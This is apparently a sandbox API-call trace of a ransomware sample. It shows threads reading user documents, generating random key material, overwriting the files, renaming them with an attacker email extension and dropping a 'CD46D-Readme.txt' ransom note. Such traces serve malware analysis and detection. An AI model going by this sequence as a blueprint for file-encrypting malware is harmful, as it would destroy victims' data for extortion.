0x4ef800 [0048.111] wcscpy (in: _Dest=0x4ef800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt" [0048.111] wcscat (in: _Dest=0x4ef800, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt.mailto[2Hamlampampom@cock.li].cd46d" [0048.111] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5c9fac8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.111] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4ef8c8 [0048.111] NtSetInformationFile (FileHandle=0x6a0, IoStatusBlock=0x5c9fac0, FileInformation=0x4ef8c8, Length=0xd4, FileInformationClass=0xa) returned 0x0 [0048.242] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef8c8) returned 1 [0048.242] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x455770) returned 1 [0048.242] NtQueryInformationFile (in: FileHandle=0x6a0, IoStatusBlock=0x5c9fad4, FileInformation=0x5c9faac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x5c9fad4, FileInformation=0x5c9faac) returned 0x0 [0048.242] NtSetInformationFile (FileHandle=0x6a0, IoStatusBlock=0x5c9fad4, FileInformation=0x5c9faac, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.243] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef800) returned 1 [0048.243] FlushFileBuffers (hFile=0x6a0) returned 1 [0048.271] CloseHandle (hObject=0x6a0) returned 1 [0048.276] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400e18 [0048.276] wcscpy (in: _Dest=0x400e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.276] wcscat (in: _Dest=0x400e18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.276] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.276] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400e18) returned 1 [0048.276] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a18) returned 1 Thread: id = 310 os_tid = 0xb50 [0047.619] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dx8htwauqitrnztc5l.xlsx")) returned 0x20 [0047.619] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx", dwFileAttributes=0x20) returned 1 [0047.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dx8htwauqitrnztc5l.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6a4 [0047.620] GetFileSizeEx (in: hFile=0x6a4, lpFileSize=0x537fb5c | out: lpFileSize=0x537fb5c*=11489) returned 1 [0047.620] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x2cdd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.620] ReadFile (in: hFile=0x6a4, lpBuffer=0x537fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x537fadc, lpOverlapped=0x0 | out: lpBuffer=0x537fae0*, lpNumberOfBytesRead=0x537fadc*=0x4, lpOverlapped=0x0) returned 1 [0047.620] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46c60 [0047.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46cd8 [0047.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46d00 [0047.621] NtQuerySystemTime (in: CurrentTime=0x537fabc | out: CurrentTime=0x537fabc*=132174898116036000) returned 0x0 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x4eac248e [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x5986da2c [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x7c0ff60e [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x5470c6aa [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x673494f4 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x791b8ec2 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x246e732e [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x67ff6e3a [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x3e4d868d [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x3e5ee71b [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x5118693e [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x4f396fd4 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x4c48995c [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x612bb302 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x1e78d338 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x6fc29f10 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x2b3e2465 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x3aa59e4b [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0xbcfc1a0 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x3484a89f [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x302c2f4c [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x6cd90918 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x7c05f7ad [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x759ef152 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x4047d232 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x1d5c27d8 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x3aa6143d [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x2450d094 [0047.621] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x4f73dedf [0047.622] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x6dcd9cf6 [0047.622] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x99355f9 [0047.622] RtlRandomEx (in: Seed=0x537fac8 | out: Seed=0x537fac8) returned 0x2c85f270 [0047.633] ReadFile (in: hFile=0x6a4, lpBuffer=0x5edd0c0, nNumberOfBytesToRead=0x2ce1, lpNumberOfBytesRead=0x537fab8, lpOverlapped=0x0 | out: lpBuffer=0x5edd0c0*, lpNumberOfBytesRead=0x537fab8*=0x2ce1, lpOverlapped=0x0) returned 1 [0047.634] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.634] WriteFile (in: hFile=0x6a4, lpBuffer=0x5ee98c8*, nNumberOfBytesToWrite=0x2ce1, lpNumberOfBytesWritten=0x537fab4, lpOverlapped=0x0 | out: lpBuffer=0x5ee98c8*, lpNumberOfBytesWritten=0x537fab4*=0x2ce1, lpOverlapped=0x0) returned 1 [0048.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edef8 [0048.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf20 [0048.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf20) returned 1 [0048.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ee98c8) returned 1 [0048.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5edd0c0) returned 1 [0048.010] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45968) returned 1 [0048.010] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0048.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x402840 [0048.010] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.010] WriteFile (in: hFile=0x6a4, lpBuffer=0x4efa40*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x537fb1c, lpOverlapped=0x0 | out: lpBuffer=0x4efa40*, lpNumberOfBytesWritten=0x537fb1c*=0x11f, lpOverlapped=0x0) returned 1 [0048.112] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4efa40) returned 1 [0048.112] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ac8) returned 1 [0048.112] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf20) returned 1 [0048.112] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0048.112] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edef8) returned 1 [0048.112] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46cd8) returned 1 [0048.113] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46d28) returned 1 [0048.113] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46d50) returned 1 [0048.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e002d0 [0048.113] wcscpy (in: _Dest=0x5e002d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx" [0048.113] wcscat (in: _Dest=0x5e002d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx.mailto[2Hamlampampom@cock.li].cd46d" [0048.113] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x537fad4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x4ef9a8 [0048.113] NtSetInformationFile (FileHandle=0x6a4, IoStatusBlock=0x537facc, FileInformation=0x4ef9a8, Length=0xde, FileInformationClass=0xa) returned 0x0 [0048.240] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef9a8) returned 1 [0048.240] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x454858) returned 1 [0048.240] NtQueryInformationFile (in: FileHandle=0x6a4, IoStatusBlock=0x537fae0, FileInformation=0x537fab8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x537fae0, FileInformation=0x537fab8) returned 0x0 [0048.240] NtSetInformationFile (FileHandle=0x6a4, IoStatusBlock=0x537fae0, FileInformation=0x537fab8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0048.241] FlushFileBuffers (hFile=0x6a4) returned 1 [0048.270] CloseHandle (hObject=0x6a4) returned 1 [0048.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400e18 [0048.270] wcscpy (in: _Dest=0x400e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.270] wcscat (in: _Dest=0x400e18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.270] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400e18) returned 1 [0048.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447430) returned 1 Thread: id = 311 os_tid = 0xb54 [0047.634] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\emd2hm8.doc")) returned 0x20 [0047.634] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc", dwFileAttributes=0x20) returned 1 [0047.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\emd2hm8.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6a8 [0047.634] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x3aafa1c | out: lpFileSize=0x3aafa1c*=9978) returned 1 [0047.634] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x26f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.634] ReadFile (in: hFile=0x6a8, lpBuffer=0x3aaf9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3aaf99c, lpOverlapped=0x0 | out: lpBuffer=0x3aaf9a0*, lpNumberOfBytesRead=0x3aaf99c*=0x4, lpOverlapped=0x0) returned 1 [0047.635] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46c60 [0047.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46d00 [0047.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46d78 [0047.635] NtQuerySystemTime (in: CurrentTime=0x3aaf97c | out: CurrentTime=0x3aaf97c*=132174898116192000) returned 0x0 [0047.635] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x24eefd6e [0047.635] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x4b44f406 [0047.635] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0xe71723a [0047.635] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x65b4985c [0047.635] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x1d53bfd5 [0047.635] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x658f778f [0047.635] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x76426182 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x116a3419 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x5479a130 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x6b0cb0f1 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x180c73d6 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x2418c1ae [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x2c036daf [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x69da540a [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x1cf42939 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x263ce460 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x68e9fafa [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x3ad307ef [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x2aed6992 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x5b8125cf [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x11b7fa7c [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x32a894a7 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x5be997a7 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x2a423a10 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x533ebf97 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x57192508 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x767c8c2f [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x546a942c [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x166f04f [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x6b05d3ba [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x34623307 [0047.636] RtlRandomEx (in: Seed=0x3aaf988 | out: Seed=0x3aaf988) returned 0x1f8c5a21 [0047.649] ReadFile (in: hFile=0x6a8, lpBuffer=0x95d0048, nNumberOfBytesToRead=0x26fa, lpNumberOfBytesRead=0x3aaf978, lpOverlapped=0x0 | out: lpBuffer=0x95d0048*, lpNumberOfBytesRead=0x3aaf978*=0x26fa, lpOverlapped=0x0) returned 1 [0047.649] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.649] WriteFile (in: hFile=0x6a8, lpBuffer=0x95dc850*, nNumberOfBytesToWrite=0x26fa, lpNumberOfBytesWritten=0x3aaf974, lpOverlapped=0x0 | out: lpBuffer=0x95dc850*, lpNumberOfBytesWritten=0x3aaf974*=0x26fa, lpOverlapped=0x0) returned 1 [0048.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf48 [0048.012] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf70 [0048.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf70) returned 1 [0048.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95dc850) returned 1 [0048.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0048) returned 1 [0048.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e459e0) returned 1 [0048.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0048.012] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x4ef078 [0048.012] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.012] WriteFile (in: hFile=0x6a8, lpBuffer=0x44c8c0*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x3aaf9dc, lpOverlapped=0x0 | out: lpBuffer=0x44c8c0*, lpNumberOfBytesWritten=0x3aaf9dc*=0x107, lpOverlapped=0x0) returned 1 [0048.114] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c8c0) returned 1 [0048.114] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef0a8) returned 1 [0048.114] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf70) returned 1 [0048.114] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef078) returned 1 [0048.114] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf48) returned 1 [0048.114] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46d00) returned 1 [0048.114] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46da0) returned 1 [0048.114] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46dc8) returned 1 [0048.114] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x442998 [0048.114] wcscpy (in: _Dest=0x442998, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc" [0048.114] wcscat (in: _Dest=0x442998, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc.mailto[2Hamlampampom@cock.li].cd46d" [0048.114] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3aaf994, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.114] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e003a0 [0048.114] NtSetInformationFile (FileHandle=0x6a8, IoStatusBlock=0x3aaf98c, FileInformation=0x5e003a0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0048.172] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e003a0) returned 1 [0048.173] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x454a80) returned 1 [0048.173] NtQueryInformationFile (in: FileHandle=0x6a8, IoStatusBlock=0x3aaf9a0, FileInformation=0x3aaf978, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3aaf9a0, FileInformation=0x3aaf978) returned 0x0 [0048.173] NtSetInformationFile (FileHandle=0x6a8, IoStatusBlock=0x3aaf9a0, FileInformation=0x3aaf978, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.174] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442998) returned 1 [0048.174] FlushFileBuffers (hFile=0x6a8) returned 1 [0048.176] CloseHandle (hObject=0x6a8) returned 1 [0048.178] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400e18 [0048.178] wcscpy (in: _Dest=0x400e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.178] wcscat (in: _Dest=0x400e18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.178] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0xffffffff [0048.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0048.212] WriteFile (in: hFile=0x6bc, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x3aaf99c, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x3aaf99c*=0x6fd, lpOverlapped=0x0) returned 1 [0048.213] CloseHandle (hObject=0x6bc) returned 1 [0048.214] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400e18) returned 1 [0048.214] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421578) returned 1 Thread: id = 312 os_tid = 0xb58 [0047.650] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\enrp6x.pptx")) returned 0x20 [0047.650] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx", dwFileAttributes=0x20) returned 1 [0047.650] CreateFileW 